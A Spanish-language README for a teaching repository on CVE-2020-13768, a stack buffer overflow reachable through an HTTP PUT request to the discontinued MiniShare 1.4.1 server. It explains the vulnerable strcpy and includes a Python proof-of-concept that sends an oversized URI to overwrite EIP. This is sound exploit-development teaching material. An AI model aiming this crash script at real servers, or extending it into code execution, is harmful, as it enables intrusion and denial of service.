Desbordamiento de búfer basado en pila en MiniShare 1.4.1 alcanzable mediante una única petición HTTP PUT.
Desbordamiento de búfer basado en pila en MiniShare 1.4.1 alcanzable mediante una única petición HTTP PUT.
Este repositorio forma parte del material que utilizo cuando enseño explotación de corrupción de memoria (además de mi trabajo habitual, también imparto clases en diferentes cursos de ciberseguridad donde ayudo a formar a la próxima generación de ingenieros inversos).
CVE-2020-13768 es un caso que uso cuando quiero mostrar cómo servidores simples expuestos a la red pueden exponer desbordamientos de búfer basados en pila clásicos a través de métodos de protocolo estándar. El endpoint vulnerable no requiere autenticación, el desbordamiento es una sobrescritura directa de EIP, y la ruta de explotación es limpia y bien definida. Es un caso ideal para aprender la metodología completa de explotación en un escenario remoto realista sin autenticación.
Lo que también hace interesante este caso como ejercicio docente es que la misma causa raíz, entrada sin sanear copiada en un búfer de pila de tamaño fijo, aparece en múltiples entradas CVE para el mismo binario. CVE-2018-19861, CVE-2018-19862 y CVE-2019-17601 describen la misma clase de vulnerabilidad, solo que reportada por diferentes investigadores a través de diferentes métodos HTTP o endpoints. Esto enseña a los estudiantes a fijarse en las causas raíz y no solo en los números de CVE.
Esta vulnerabilidad afecta a MiniShare 1.4.1, un servidor HTTP ligero para Windows, discontinuado, diseñado para el intercambio local sencillo de archivos. El software fue escrito sin tener en cuenta las prácticas modernas de seguridad. Lo que hace este caso particularmente interesante desde una perspectiva docente es la combinación de factores implicados:
Esta combinación convierte a CVE-2020-13768 en un excelente caso para enseñar los fundamentos de la explotación de desbordamientos de búfer en red en un escenario realista sin autenticación.
MiniShare es un servidor HTTP minimalista para Windows diseñado originalmente para el intercambio local rápido de archivos en una LAN. Escucha en el puerto TCP 80 y gestiona un pequeño subconjunto de métodos HTTP, incluyendo GET y PUT. El manejador PUT procesa las peticiones entrantes y copia la ruta URI en un búfer de pila de tamaño fijo sin validar su longitud.
Detalles técnicos clave:
MiniShare procesa las peticiones HTTP entrantes y las distribuye al manejador adecuado según el método. El manejador PUT extrae la ruta URI de la petición y la copia en un búfer de pila de tamaño fijo sin comprobar su longitud.
Una versión simplificada de la lógica vulnerable se ve así:
char path_buffer[256];
strcpy(path_buffer, uri_path);
Dado que el búfer de destino tiene un tamaño fijo y la longitud de la entrada no se valida, enviar una URI suficientemente larga en la petición PUT hace que la copia escriba más allá del final del búfer, alcanzando y sobrescribiendo eventualmente la dirección de retorno guardada (EIP) en la pila.
Cuando la función vulnerable retorna, la CPU carga el valor controlado por el atacante desde la pila en EIP y salta a él. Si esa dirección apunta a datos controlados por el atacante que contienen shellcode, se consigue la ejecución de código arbitrario.
El crash se puede reproducir enviando una URI de tamaño excesivo en una petición HTTP PUT. No se requiere autenticación. Ejemplo usando Python:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 3000
request = (
b"PUT /" + payload + b" HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Connection: close\r\n"
b"\r\n"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
Cuando se ejecuta bajo un depurador, el crash muestra EIP sobrescrito con datos controlados por el usuario:
EIP = 41414141
lo que confirma que la dirección de retorno guardada ha sido corrompida por el desbordamiento.
El objetivo de este repositorio no es solo demostrar el crash, sino también recorrer el proceso completo de explotación paso a paso, siguiendo la metodología utilizada al desarrollar exploits reales basados en pila.
Para mantener el README principal limpio, las notas detalladas de explotación, los scripts y los pasos de depuración se encuentran en la carpeta Vulnerability 📂 de este repositorio.
Allí encontrarás el flujo de trabajo completo utilizado para explotar este CVE, incluyendo: